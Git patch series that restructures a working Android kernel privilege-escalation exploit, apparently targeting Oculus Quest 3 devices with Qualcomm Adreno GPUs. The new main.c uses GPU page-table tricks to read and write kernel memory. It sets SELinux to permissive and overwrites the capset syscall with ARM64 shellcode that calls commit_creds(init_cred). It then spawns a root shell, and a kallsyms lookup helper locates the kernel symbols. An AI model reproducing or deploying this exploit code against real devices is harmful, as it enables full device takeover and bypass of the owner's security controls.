From b44ecbee20f568c1fab76be3ec7ec4be7849d223 Mon Sep 17 00:00:00 2001 From: MS26 <53867268+MNS26@users.noreply.github.com> Date: Sat, 26 Jul 2025 16:51:54 +0200 Subject: [PATCH 1/2] restructured and cleaned code --- adrenaline.h | 2 +- build.sh | 2 +- cheese.c | 238 +++++++++++----------------------------------- cheese.h | 40 ++++++++ kallsyms_lookup.c | 83 +++++++--------- kallsyms_lookup.h | 46 +++++++++ main.c | 140 +++++++++++++++++++++++++++ 7 files changed, 317 insertions(+), 234 deletions(-) create mode 100644 cheese.h create mode 100644 kallsyms_lookup.h create mode 100644 main.c diff --git a/adrenaline.h b/adrenaline.h index 86cb170..e9632fe 100644 --- a/adrenaline.h +++ b/adrenaline.h @@ -177,4 +177,4 @@ static inline uint cp_invalidate_state( return cmds - start; } -#endif //ADRENALINE_ADRENALINE_H +#endif //ADRENALINE_ADRENALINE_H \ No newline at end of file diff --git a/build.sh b/build.sh index 98a021a..3ac6d57 100755 --- a/build.sh +++ b/build.sh @@ -1 +1 @@ -exec ~/Library/Android/sdk/ndk/26.1.10909125/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android34-clang -o cheese cheese.c +exec ~/Library/Android/sdk/ndk/26.1.10909125/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android34-clang -o cheese main.c cheese.c kallsyms_lookup.c \ No newline at end of file diff --git a/cheese.c b/cheese.c index 04dab09..89aadec 100644 --- a/cheese.c +++ b/cheese.c @@ -1,5 +1,7 @@ #define __BIONIC_DEPRECATED_PAGE_SIZE_MACRO + + #include #include #include @@ -13,8 +15,58 @@ #include #include #include +#include "cheese.h" +#include "kallsyms_lookup.h" #define KGSL_MEMFLAGS_IOCOHERENT 0x80000000ULL +#define KGSL_MEMFLAGS_GPUREADONLY 0x01000000U + +const uint64_t kFakeGpuAddr = 0x40403000; +const uint64_t kGarbageSize = 16 * 1024 * 1024; +const uint64_t kKernelPageTableEntry = 0x1e0; + +// TODO(zhuowei): make 2G spray configurable; should be ~1/4 to 1/2 of RAM +// increased this from 1G to 2G for Pixel 3 XL +// spray 16mb per mapping: 16MB*256=4GB +#define NPBUFS 256 + +#define LEVEL1_SHIFT 30 +#define LEVEL1_MASK (0x1fful << LEVEL1_SHIFT) + +#define LEVEL2_SHIFT 21 +#define LEVEL2_MASK (0x1ff << LEVEL2_SHIFT) + +#define LEVEL3_SHIFT 12 +#define LEVEL3_MASK (0x1ff << LEVEL3_SHIFT) + +#define ENTRY_VALID 3 +#define ENTRY_RW (1 << 6) + +/* Normal Non-Cacheable memory */ +#define ENTRY_MEMTYPE_NNC (3 << 2) + +/* "outer attributes are exported from the processor to the external memory bus + * and are therefore potentially used by cache hardware external to the core or + * cluster" */ +#define ENTRY_OUTER_SHARE (2 << 8) + +/* Active */ +#define ENTRY_AF (1<<10) + +/* Non-Global */ +#define ENTRY_NG (1<<11) + +#define CP_WAIT_MEM_WRITES 0x12 +#define CP_SET_DRAW_STATE 0x43 +#define CP_SET_MODE 0x63 +#define CP_INDIRECT_BUFFER 0x3f +#define DRAW_STATE_MODE_BINNING 0x1 +#define DRAW_STATE_MODE_GMEM 0x2 +#define DRAW_STATE_MODE_BYPASS 0x4 +#define DRAW_STATE_DIRTY (1 << 16) +#define CP_SMMU_TABLE_UPDATE 0x53 +#define CP_CONTEXT_SWITCH_YIELD 0x6b + // from adrenaline.cpp: // https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html @@ -45,7 +97,6 @@ int kgsl_ctx_destroy(int fd, uint32_t ctx_id) { return ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &req); } -#define KGSL_MEMFLAGS_GPUREADONLY 0x01000000U /* modified version of kilroy's kgsl_map. the choice to use KGSL_MEMFLAGS_USE_CPU_MAP * comes from earlier debugging efforts, but a normal user mapping should work as well, @@ -115,36 +166,6 @@ int kgsl_gpu_command_payload(int fd, uint32_t ctx_id, uint64_t gpuaddr, uint32_t return err; } -// TODO(zhuowei): make 2G spray configurable; should be ~1/4 to 1/2 of RAM -// increased this from 1G to 2G for Pixel 3 XL -// spray 16mb per mapping: 16MB*256=4GB -#define NPBUFS 256 - -#define LEVEL1_SHIFT 30 -#define LEVEL1_MASK (0x1fful << LEVEL1_SHIFT) - -#define LEVEL2_SHIFT 21 -#define LEVEL2_MASK (0x1ff << LEVEL2_SHIFT) - -#define LEVEL3_SHIFT 12 -#define LEVEL3_MASK (0x1ff << LEVEL3_SHIFT) - -#define ENTRY_VALID 3 -#define ENTRY_RW (1 << 6) - -/* Normal Non-Cacheable memory */ -#define ENTRY_MEMTYPE_NNC (3 << 2) - -/* "outer attributes are exported from the processor to the external memory bus - * and are therefore potentially used by cache hardware external to the core or - * cluster" */ -#define ENTRY_OUTER_SHARE (2 << 8) - -/* Active */ -#define ENTRY_AF (1<<10) - -/* Non-Global */ -#define ENTRY_NG (1<<11) int setup_pagetables(uint8_t *tt0, uint32_t pages, uint32_t tt0phys, uint64_t fake_gpuaddr, uint64_t target_pa) { uint64_t *level_base; @@ -214,7 +235,6 @@ tu_get_l1_dcache_size() return 4 << ((ctr_el0 >> 16) & 0xf); } -static uint64_t g_level1_dcache_size; static void sync_cache_to_gpu(void* start, void* end) { start = (char *) ((uintptr_t) start & ~(g_level1_dcache_size - 1)); @@ -244,37 +264,10 @@ uint64_t GetPhys(int pagemap_fd, uint64_t virt) { } #endif -#define CP_WAIT_MEM_WRITES 0x12 -#define CP_SET_DRAW_STATE 0x43 -#define CP_SET_MODE 0x63 -#define CP_INDIRECT_BUFFER 0x3f -#define DRAW_STATE_MODE_BINNING 0x1 -#define DRAW_STATE_MODE_GMEM 0x2 -#define DRAW_STATE_MODE_BYPASS 0x4 -#define DRAW_STATE_DIRTY (1 << 16) -#define CP_SMMU_TABLE_UPDATE 0x53 -#define CP_CONTEXT_SWITCH_YIELD 0x6b - uint64_t cheese_decode_adrp(uint32_t instr, uint64_t pc); -struct cheese_gpu_rw { - int fd; - uint32_t ctx_id; - - uint32_t* payload_buf; - uint64_t payload_gpuaddr; - uint32_t* output_buf; - uint64_t output_gpuaddr; - void* target_physical_page; - uint64_t phyaddr; - - void* garbage; -}; - -const uint64_t kFakeGpuAddr = 0x40403000; -const uint64_t kGarbageSize = 16 * 1024 * 1024; static int DoWrite(int fd, int ctx_id, uint32_t* payload_buf, uint64_t payload_gpuaddr, uint64_t phyaddr, uint64_t completion_marker_write_addr, bool write, uint64_t write_addr, uint32_t count, uint32_t* values) { uint32_t* drawstate_buf = payload_buf + 0x100; @@ -346,8 +339,6 @@ static int DoWrite(int fd, int ctx_id, uint32_t* payload_buf, uint64_t payload_g return 0; } -const uint64_t kKernelPageTableEntry = 0x1e0; - int cheese_gpu_rw_setup(struct cheese_gpu_rw* cheese) { #ifdef DUMP_PAGEMAP int pagemap_fd = getuid() == 0? open("/proc/self/pagemap", O_RDONLY|O_CLOEXEC): -1; @@ -633,10 +624,9 @@ int cheese_shutdown(struct cheese_gpu_rw* cheese) { return 0; } -#define KALLSYMS_LOOKUP_INCLUDE -#include "kallsyms_lookup.c" +//#define KALLSYMS_LOOKUP_INCLUDE -static void stupid_memcpy(void* dst, const void* src, size_t count) { +void stupid_memcpy(void* dst, const void* src, size_t count) { char* d = dst; const char* s = src; for (size_t c = 0; c < count; c++) { @@ -650,123 +640,3 @@ void stupid_setexeccon(const char* con) { write(fd, con, strlen(con) + 1); close(fd); } - -int main() { - g_level1_dcache_size = tu_get_l1_dcache_size(); -#if 1 - if (!getenv("CHEESE_SKIP_GPU")) { - struct cheese_gpu_rw cheese = {}; - if (cheese_gpu_rw_setup(&cheese)) { - fprintf(stderr, "can't get GPU r/w\n"); - return 1; - } - } -#endif - // now check ksma... - fprintf(stderr, "about to ksma...\n"); - void* ksma_mapping = (void*)(0xffffff8000000000ull + kKernelPageTableEntry * 0x40000000ull); - uint64_t ksma_physical_base = 0x80000000; - //sync_cache_from_gpu(ksma_mapping + 0x08000000, ksma_mapping + 0x08000000 + 0x1000); - uint32_t* mytarget = ksma_mapping - ksma_physical_base + 0xa8000000 + 0x38 /* kernel header magic: ARMd */; - fprintf(stderr, "%p=%x\n", mytarget, *mytarget); - uint64_t* kernel_size_ptr = ksma_mapping - ksma_physical_base + 0xa8000000 + 0x10 /* kernel header: size */; - uint64_t kernel_size = *kernel_size_ptr; - void* kernel_physical_base = ksma_mapping - ksma_physical_base + 0xa8000000; - - void* kernel_copy_buf = malloc(kernel_size); - memcpy(kernel_copy_buf, kernel_physical_base, kernel_size); - if (getenv("CHEESE_DUMP_KERNEL")) { - FILE* f = fopen("/data/local/tmp/kernel_dump", "w"); - fwrite(kernel_copy_buf, 1, kernel_size, f); - fclose(f); - } - - struct cheese_kallsyms_lookup kallsyms_lookup; - if (cheese_create_kallsyms_lookup(&kallsyms_lookup, kernel_copy_buf, kernel_size)) { - return 1; - } - - const bool force_manual_patchfinder = false; - - // TODO(zhuowei): this is dumped from vmlinux-to-elf/kallsyms-finder on my computer and is specific to 51052260106700520 - need to auto detect this - uint64_t kernel_virtual_base = kallsyms_lookup.text_base; - uint64_t kernel_selinux_state_addr = cheese_kallsyms_lookup(&kallsyms_lookup, "selinux_state"); - if (force_manual_patchfinder || !kernel_selinux_state_addr) { - kernel_selinux_state_addr = cheese_lookup_selinux_state(&kallsyms_lookup); - } - bool* kernel_selinux_state_enforcing_ptr = kernel_physical_base + (kernel_selinux_state_addr - kernel_virtual_base); - fprintf(stderr, "%lx: %p\n", (kernel_selinux_state_addr - kernel_virtual_base), kernel_selinux_state_enforcing_ptr); - *kernel_selinux_state_enforcing_ptr = false; - fprintf(stderr, "set selinux enforcing ptr...\n"); - __builtin___clear_cache((char*)kernel_selinux_state_enforcing_ptr, (char*)kernel_selinux_state_enforcing_ptr + sizeof(bool)); - - uint64_t init_cred_addr = cheese_kallsyms_lookup(&kallsyms_lookup, "init_cred"); - if (force_manual_patchfinder || !init_cred_addr) { - init_cred_addr = cheese_lookup_init_cred(&kallsyms_lookup); - } - uint64_t commit_creds_addr = cheese_kallsyms_lookup(&kallsyms_lookup, "commit_creds"); - -#define LO_DWORD(a) (a & 0xffffffff) -#define HI_DWORD(a) (a >> 32) - - // https://www.longterm.io/cve-2020-0423.html - uint32_t shellcode[] = { - // commit_creds(init_cred) - 0x58000040, // ldr x0, .+8 - 0x14000003, // b .+12 - LO_DWORD(init_cred_addr), - HI_DWORD(init_cred_addr), - 0x58000041, // ldr x1, .+8 - 0x14000003, // b .+12 - LO_DWORD(commit_creds_addr), - HI_DWORD(commit_creds_addr), - 0xA9BF7BFD, // stp x29, x30, [sp, #-0x10]! - 0xD63F0020, // blr x1 - 0xA8C17BFD, // ldp x29, x30, [sp], #0x10 - - 0x2A1F03E0, // mov w0, wzr - 0xD65F03C0, // ret - }; - - uint64_t kernel___do_sys_capset_addr = cheese_kallsyms_lookup(&kallsyms_lookup, "__do_sys_capset"); - char* kernel___do_sys_capset_ptr = kernel_physical_base + (kernel___do_sys_capset_addr - kernel_virtual_base); - - /* Saving sys_capset current code */ - uint8_t sys_capset[sizeof(shellcode)]; - fprintf(stderr, "save...\n"); - stupid_memcpy(sys_capset, kernel___do_sys_capset_ptr, sizeof(sys_capset)); - /* Patching sys_capset with our shellcode */ - fprintf(stderr, "patch...\n"); - stupid_memcpy(kernel___do_sys_capset_ptr, shellcode, sizeof(shellcode)); - - // https://developer.arm.com/documentation/101430/0102/Functional-description/L1-memory-system/About-the-L1-memory-system/L1-instruction-side-memory-system - // "behaves as a PIPT cache" - flushing this will flush all copies sharing same physical memory - __builtin___clear_cache(kernel___do_sys_capset_ptr, kernel___do_sys_capset_ptr + sizeof(shellcode)); - - fprintf(stderr, "call...\n"); - /* Calling our patched version of sys_capset */ - #pragma clang diagnostic push - #pragma clang diagnostic ignored "-Wnonnull" - int err = capset(NULL, NULL); - fprintf(stderr, "called...\n"); - #pragma clang diagnostic pop - if (err) { - fprintf(stderr, "capset returned %d\n", err); - return 1; - } - fprintf(stderr, "restore...\n"); - /* Restoring sys_capset */ - stupid_memcpy(kernel___do_sys_capset_ptr, sys_capset, sizeof(sys_capset)); - __builtin___clear_cache(kernel___do_sys_capset_ptr, kernel___do_sys_capset_ptr + sizeof(sys_capset)); - fprintf(stderr, "restored...\n"); - if (getuid() != 0) { - fprintf(stderr, "failed to get root - rerun?\n"); - return 1; - } - - stupid_setexeccon("u:r:shell:s0"); // otherwise binder doesn't work - execl("/system/bin/sh", "sh", NULL); - fprintf(stderr, "can't exec?\n"); - - return 0; -} diff --git a/cheese.h b/cheese.h new file mode 100644 index 0000000..050975f --- /dev/null +++ b/cheese.h @@ -0,0 +1,40 @@ +static uint64_t g_level1_dcache_size; +struct cheese_gpu_rw { + int fd; + uint32_t ctx_id; + + uint32_t* payload_buf; + uint64_t payload_gpuaddr; + uint32_t* output_buf; + uint64_t output_gpuaddr; + + void* target_physical_page; + + uint64_t phyaddr; + + void* garbage; +}; + +extern const uint64_t kFakeGpuAddr; +extern const uint64_t kGarbageSize; +extern const uint64_t kKernelPageTableEntry; + +int kgsl_ctx_create0(int fd, uint32_t *ctx_id); +int kgsl_ctx_destroy(int fd, uint32_t ctx_id); +int kgsl_map(int fd, unsigned long addr, size_t len, uint64_t *gpuaddr); +int kgsl_gpu_command_payload(int fd, uint32_t ctx_id, uint64_t gpuaddr, uint32_t cmdsize, uint32_t n, uint32_t target_idx, uint64_t target_cmd, uint32_t target_size); +int setup_pagetables(uint8_t *tt0, uint32_t pages, uint32_t tt0phys, uint64_t fake_gpuaddr, uint64_t target_pa); +uint32_t tu_get_l1_dcache_size(); + +static void sync_cache_to_gpu(void* start, void* end); +static void sync_cache_from_gpu(void* start, void* end); + +#ifdef DUMP_PAGEMAP +uint64_t GetPhys(int pagemap_fd, uint64_t virt); +#endif +uint64_t cheese_decode_adrp(uint32_t instr, uint64_t pc); +static int DoWrite(int fd, int ctx_id, uint32_t* payload_buf, uint64_t payload_gpuaddr, uint64_t phyaddr, uint64_t completion_marker_write_addr, bool write, uint64_t write_addr, uint32_t count, uint32_t* values); +int cheese_gpu_rw_setup(struct cheese_gpu_rw* cheese); +int cheese_shutdown(struct cheese_gpu_rw* cheese); +void stupid_memcpy(void* dst, const void* src, size_t count); +void stupid_setexeccon(const char* con); \ No newline at end of file diff --git a/kallsyms_lookup.c b/kallsyms_lookup.c index 952f125..6455741 100644 --- a/kallsyms_lookup.c +++ b/kallsyms_lookup.c @@ -2,23 +2,18 @@ #include #include #include +#include "kallsyms_lookup.h" -struct cheese_kallsyms_lookup { - const void* kernel_data; - size_t kernel_length; - // https://cs.android.com/android/kernel/superproject/+/common-android-mainline:common/kernel/kallsyms_internal.h;l=7;drc=64e166099b69bfc09f667253358a15160b86ea43 - const int* kallsyms_offsets; - uint64_t kallsyms_relative_base; - unsigned int kallsyms_num_syms; - const uint8_t* kallsyms_names; - const char* kallsyms_token_table; - const uint16_t* kallsyms_token_index; - char** decompressed_names; - uint64_t text_base; -}; +// dumped from 51154110092200520's kernel +// dd if=kernel bs=1 skip=42016888 count=72 of=init_cred_start_bytes.bin +unsigned char init_cred_start_bytes_bin[] = { + 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xff, 0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, + 0xff, 0x01, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00}; -uint64_t cheese_kallsyms_lookup(struct cheese_kallsyms_lookup* kallsyms_lookup, - const char* name); static void* align_pointer_to_8(void* inptr) { return (void*)((((uintptr_t)inptr) + 7ull) & ~7ull); @@ -177,15 +172,7 @@ uint64_t cheese_kallsyms_lookup(struct cheese_kallsyms_lookup* kallsyms_lookup, return 0; } -// dumped from 51154110092200520's kernel -// dd if=kernel bs=1 skip=42016888 count=72 of=init_cred_start_bytes.bin -unsigned char init_cred_start_bytes_bin[] = { - 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xff, 0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, - 0xff, 0x01, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00}; + uint64_t cheese_lookup_init_cred( struct cheese_kallsyms_lookup* kallsyms_lookup) { @@ -275,30 +262,30 @@ uint64_t cheese_lookup_selinux_state( return 0; } -#ifndef KALLSYMS_LOOKUP_INCLUDE +// #ifndef KALLSYMS_LOOKUP_INCLUDE -#define PATH "/Volumes/orangehd/docs/oculus/q3/q3_51154110092200520/kernel" -// #define PATH "/Volumes/orangehd/docs/oculus/q3/q3_50473320162100510/kernel" +// #define PATH "/Volumes/orangehd/docs/oculus/q3/q3_51154110092200520/kernel" +// // #define PATH "/Volumes/orangehd/docs/oculus/q3/q3_50473320162100510/kernel" -int main() { - FILE* f = fopen(PATH, "r"); - fseek(f, 0, SEEK_END); - off_t file_length = ftell(f); - fseek(f, 0, SEEK_SET); - void* kernel_data = malloc(file_length); - fread(kernel_data, 1, file_length, f); - fclose(f); - struct cheese_kallsyms_lookup kallsyms_lookup; - if (cheese_create_kallsyms_lookup(&kallsyms_lookup, kernel_data, - file_length)) { - return 1; - } - uint64_t addr = cheese_kallsyms_lookup(&kallsyms_lookup, "selinux_state"); - printf("%llx\n", addr); - uint64_t init_cred_addr = cheese_lookup_init_cred(&kallsyms_lookup); - printf("%llx\n", init_cred_addr); - uint64_t selinux_state = cheese_lookup_selinux_state(&kallsyms_lookup); - printf("%llx\n", selinux_state); -} +// __attribute__ ((weak)) int main() { +// FILE* f = fopen(PATH, "r"); +// fseek(f, 0, SEEK_END); +// off_t file_length = ftell(f); +// fseek(f, 0, SEEK_SET); +// void* kernel_data = malloc(file_length); +// fread(kernel_data, 1, file_length, f); +// fclose(f); +// struct cheese_kallsyms_lookup kallsyms_lookup; +// if (cheese_create_kallsyms_lookup(&kallsyms_lookup, kernel_data, +// file_length)) { +// return 1; +// } +// uint64_t addr = cheese_kallsyms_lookup(&kallsyms_lookup, "selinux_state"); +// printf("%llx\n", addr); +// uint64_t init_cred_addr = cheese_lookup_init_cred(&kallsyms_lookup); +// printf("%llx\n", init_cred_addr); +// uint64_t selinux_state = cheese_lookup_selinux_state(&kallsyms_lookup); +// printf("%llx\n", selinux_state); +// } -#endif +// #endif \ No newline at end of file diff --git a/kallsyms_lookup.h b/kallsyms_lookup.h new file mode 100644 index 0000000..c5fca03 --- /dev/null +++ b/kallsyms_lookup.h @@ -0,0 +1,46 @@ +#include +#include +#include +#include + +struct cheese_kallsyms_lookup { + const void* kernel_data; + size_t kernel_length; + // https://cs.android.com/android/kernel/superproject/+/common-android-mainline:common/kernel/kallsyms_internal.h;l=7;drc=64e166099b69bfc09f667253358a15160b86ea43 + const int* kallsyms_offsets; + uint64_t kallsyms_relative_base; + unsigned int kallsyms_num_syms; + const uint8_t* kallsyms_names; + const char* kallsyms_token_table; + const uint16_t* kallsyms_token_index; + char** decompressed_names; + uint64_t text_base; +}; +uint64_t cheese_kallsyms_lookup(struct cheese_kallsyms_lookup* kallsyms_lookup, + const char* name); +static void* align_pointer_to_8(void* inptr); +static size_t decompress_string(uint8_t* p, const char* kallsyms_token_table, + const uint16_t* kallsyms_token_index, + char* output); +static void* memmem_last(const void* big, size_t big_len, const void* little, + size_t little_len); +int cheese_create_kallsyms_lookup( + struct cheese_kallsyms_lookup* kallsyms_lookup, void* kernel_data, + size_t kernel_length); +uint64_t cheese_kallsyms_lookup(struct cheese_kallsyms_lookup* kallsyms_lookup, + const char* name); + +// dumped from 51154110092200520's kernel +// dd if=kernel bs=1 skip=42016888 count=72 of=init_cred_start_bytes.bin +extern unsigned char init_cred_start_bytes_bin[]; + +uint64_t cheese_lookup_init_cred( + struct cheese_kallsyms_lookup* kallsyms_lookup); + +uint64_t cheese_decode_adrp(uint32_t instr, uint64_t pc); + +uint64_t cheese_lookup_selinux_state( + struct cheese_kallsyms_lookup* kallsyms_lookup); + +#ifndef KALLSYMS_LOOKUP_INCLUDE +#endif \ No newline at end of file diff --git a/main.c b/main.c new file mode 100644 index 0000000..697e2d9 --- /dev/null +++ b/main.c @@ -0,0 +1,140 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include "adrenaline.h" +#include +#include +#include +#include + + + +#define KALLSYMS_LOOKUP_INCLUDE +#include "kallsyms_lookup.h" + +#include "cheese.h" + +int main() { + g_level1_dcache_size = tu_get_l1_dcache_size(); +#if 1 + if (!getenv("CHEESE_SKIP_GPU")) { + struct cheese_gpu_rw cheese = {}; + if (cheese_gpu_rw_setup(&cheese)) { + fprintf(stderr, "can't get GPU r/w\n"); + return 1; + } + } +#endif + // now check ksma... + fprintf(stderr, "about to ksma...\n"); + void* ksma_mapping = (void*)(0xffffff8000000000ull + kKernelPageTableEntry * 0x40000000ull); + uint64_t ksma_physical_base = 0x80000000; + //sync_cache_from_gpu(ksma_mapping + 0x08000000, ksma_mapping + 0x08000000 + 0x1000); + uint32_t* mytarget = ksma_mapping - ksma_physical_base + 0xa8000000 + 0x38 /* kernel header magic: ARMd */; + fprintf(stderr, "%p=%x\n", mytarget, *mytarget); + uint64_t* kernel_size_ptr = ksma_mapping - ksma_physical_base + 0xa8000000 + 0x10 /* kernel header: size */; + uint64_t kernel_size = *kernel_size_ptr; + void* kernel_physical_base = ksma_mapping - ksma_physical_base + 0xa8000000; + + void* kernel_copy_buf = malloc(kernel_size); + memcpy(kernel_copy_buf, kernel_physical_base, kernel_size); + if (getenv("CHEESE_DUMP_KERNEL")) { + FILE* f = fopen("/data/local/tmp/kernel_dump", "w"); + fwrite(kernel_copy_buf, 1, kernel_size, f); + fclose(f); + } + + struct cheese_kallsyms_lookup kallsyms_lookup; + if (cheese_create_kallsyms_lookup(&kallsyms_lookup, kernel_copy_buf, kernel_size)) { + return 1; + } + + const bool force_manual_patchfinder = false; + + // TODO(zhuowei): this is dumped from vmlinux-to-elf/kallsyms-finder on my computer and is specific to 51052260106700520 - need to auto detect this + uint64_t kernel_virtual_base = kallsyms_lookup.text_base; + uint64_t kernel_selinux_state_addr = cheese_kallsyms_lookup(&kallsyms_lookup, "selinux_state"); + if (force_manual_patchfinder || !kernel_selinux_state_addr) { + kernel_selinux_state_addr = cheese_lookup_selinux_state(&kallsyms_lookup); + } + bool* kernel_selinux_state_enforcing_ptr = kernel_physical_base + (kernel_selinux_state_addr - kernel_virtual_base); + fprintf(stderr, "%lx: %p\n", (kernel_selinux_state_addr - kernel_virtual_base), kernel_selinux_state_enforcing_ptr); + *kernel_selinux_state_enforcing_ptr = false; + fprintf(stderr, "set selinux enforcing ptr...\n"); + __builtin___clear_cache((char*)kernel_selinux_state_enforcing_ptr, (char*)kernel_selinux_state_enforcing_ptr + sizeof(bool)); + + uint64_t init_cred_addr = cheese_kallsyms_lookup(&kallsyms_lookup, "init_cred"); + if (force_manual_patchfinder || !init_cred_addr) { + init_cred_addr = cheese_lookup_init_cred(&kallsyms_lookup); + } + uint64_t commit_creds_addr = cheese_kallsyms_lookup(&kallsyms_lookup, "commit_creds"); + +#define LO_DWORD(a) (a & 0xffffffff) +#define HI_DWORD(a) (a >> 32) + + // https://www.longterm.io/cve-2020-0423.html + uint32_t shellcode[] = { + // commit_creds(init_cred) + 0x58000040, // ldr x0, .+8 + 0x14000003, // b .+12 + LO_DWORD(init_cred_addr), + HI_DWORD(init_cred_addr), + 0x58000041, // ldr x1, .+8 + 0x14000003, // b .+12 + LO_DWORD(commit_creds_addr), + HI_DWORD(commit_creds_addr), + 0xA9BF7BFD, // stp x29, x30, [sp, #-0x10]! + 0xD63F0020, // blr x1 + 0xA8C17BFD, // ldp x29, x30, [sp], #0x10 + + 0x2A1F03E0, // mov w0, wzr + 0xD65F03C0, // ret + }; + + uint64_t kernel___do_sys_capset_addr = cheese_kallsyms_lookup(&kallsyms_lookup, "__do_sys_capset"); + char* kernel___do_sys_capset_ptr = kernel_physical_base + (kernel___do_sys_capset_addr - kernel_virtual_base); + + /* Saving sys_capset current code */ + uint8_t sys_capset[sizeof(shellcode)]; + fprintf(stderr, "save...\n"); + stupid_memcpy(sys_capset, kernel___do_sys_capset_ptr, sizeof(sys_capset)); + /* Patching sys_capset with our shellcode */ + fprintf(stderr, "patch...\n"); + stupid_memcpy(kernel___do_sys_capset_ptr, shellcode, sizeof(shellcode)); + + // https://developer.arm.com/documentation/101430/0102/Functional-description/L1-memory-system/About-the-L1-memory-system/L1-instruction-side-memory-system + // "behaves as a PIPT cache" - flushing this will flush all copies sharing same physical memory + __builtin___clear_cache(kernel___do_sys_capset_ptr, kernel___do_sys_capset_ptr + sizeof(shellcode)); + + fprintf(stderr, "call...\n"); + /* Calling our patched version of sys_capset */ + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wnonnull" + int err = capset(NULL, NULL); + fprintf(stderr, "called...\n"); + #pragma clang diagnostic pop + if (err) { + fprintf(stderr, "capset returned %d\n", err); + return 1; + } + fprintf(stderr, "restore...\n"); + /* Restoring sys_capset */ + stupid_memcpy(kernel___do_sys_capset_ptr, sys_capset, sizeof(sys_capset)); + __builtin___clear_cache(kernel___do_sys_capset_ptr, kernel___do_sys_capset_ptr + sizeof(sys_capset)); + fprintf(stderr, "restored...\n"); + if (getuid() != 0) { + fprintf(stderr, "failed to get root - rerun?\n"); + return 1; + } + + stupid_setexeccon("u:r:shell:s0"); // otherwise binder doesn't work + execl("/system/bin/sh", "sh", NULL); + fprintf(stderr, "can't exec?\n"); + + return 0; +} \ No newline at end of file From f575819aac334e38798d7272153b9c3ef8ec79a1 Mon Sep 17 00:00:00 2001 From: MS26 <53867268+MNS26@users.noreply.github.com> Date: Sat, 26 Jul 2025 17:17:18 +0200 Subject: [PATCH 2/2] added `__attribute__ ((weak))` to main call `__attribute__ ((weak))` to allow overwriting of kallsyms_lookup main call --- kallsyms_lookup.c | 46 ++++++++++++++++++++++++---------------------- 1 file changed, 24 insertions(+), 22 deletions(-) diff --git a/kallsyms_lookup.c b/kallsyms_lookup.c index 6455741..f18d958 100644 --- a/kallsyms_lookup.c +++ b/kallsyms_lookup.c @@ -264,28 +264,30 @@ uint64_t cheese_lookup_selinux_state( // #ifndef KALLSYMS_LOOKUP_INCLUDE -// #define PATH "/Volumes/orangehd/docs/oculus/q3/q3_51154110092200520/kernel" -// // #define PATH "/Volumes/orangehd/docs/oculus/q3/q3_50473320162100510/kernel" + #define PATH "/Volumes/orangehd/docs/oculus/q3/q3_51154110092200520/kernel" + // #define PATH "/Volumes/orangehd/docs/oculus/q3/q3_50473320162100510/kernel" -// __attribute__ ((weak)) int main() { -// FILE* f = fopen(PATH, "r"); -// fseek(f, 0, SEEK_END); -// off_t file_length = ftell(f); -// fseek(f, 0, SEEK_SET); -// void* kernel_data = malloc(file_length); -// fread(kernel_data, 1, file_length, f); -// fclose(f); -// struct cheese_kallsyms_lookup kallsyms_lookup; -// if (cheese_create_kallsyms_lookup(&kallsyms_lookup, kernel_data, -// file_length)) { -// return 1; -// } -// uint64_t addr = cheese_kallsyms_lookup(&kallsyms_lookup, "selinux_state"); -// printf("%llx\n", addr); -// uint64_t init_cred_addr = cheese_lookup_init_cred(&kallsyms_lookup); -// printf("%llx\n", init_cred_addr); -// uint64_t selinux_state = cheese_lookup_selinux_state(&kallsyms_lookup); -// printf("%llx\n", selinux_state); -// } + +// __attribute__ ((weak)) allows for overwriting functions. in this case it allows to be overwritten with the cheese main +__attribute__ ((weak)) int main() { + FILE* f = fopen(PATH, "r"); + fseek(f, 0, SEEK_END); + off_t file_length = ftell(f); + fseek(f, 0, SEEK_SET); + void* kernel_data = malloc(file_length); + fread(kernel_data, 1, file_length, f); + fclose(f); + struct cheese_kallsyms_lookup kallsyms_lookup; + if (cheese_create_kallsyms_lookup(&kallsyms_lookup, kernel_data, + file_length)) { + return 1; + } + uint64_t addr = cheese_kallsyms_lookup(&kallsyms_lookup, "selinux_state"); + printf("%llx\n", addr); + uint64_t init_cred_addr = cheese_lookup_init_cred(&kallsyms_lookup); + printf("%llx\n", init_cred_addr); + uint64_t selinux_state = cheese_lookup_selinux_state(&kallsyms_lookup); + printf("%llx\n", selinux_state); +} // #endif \ No newline at end of file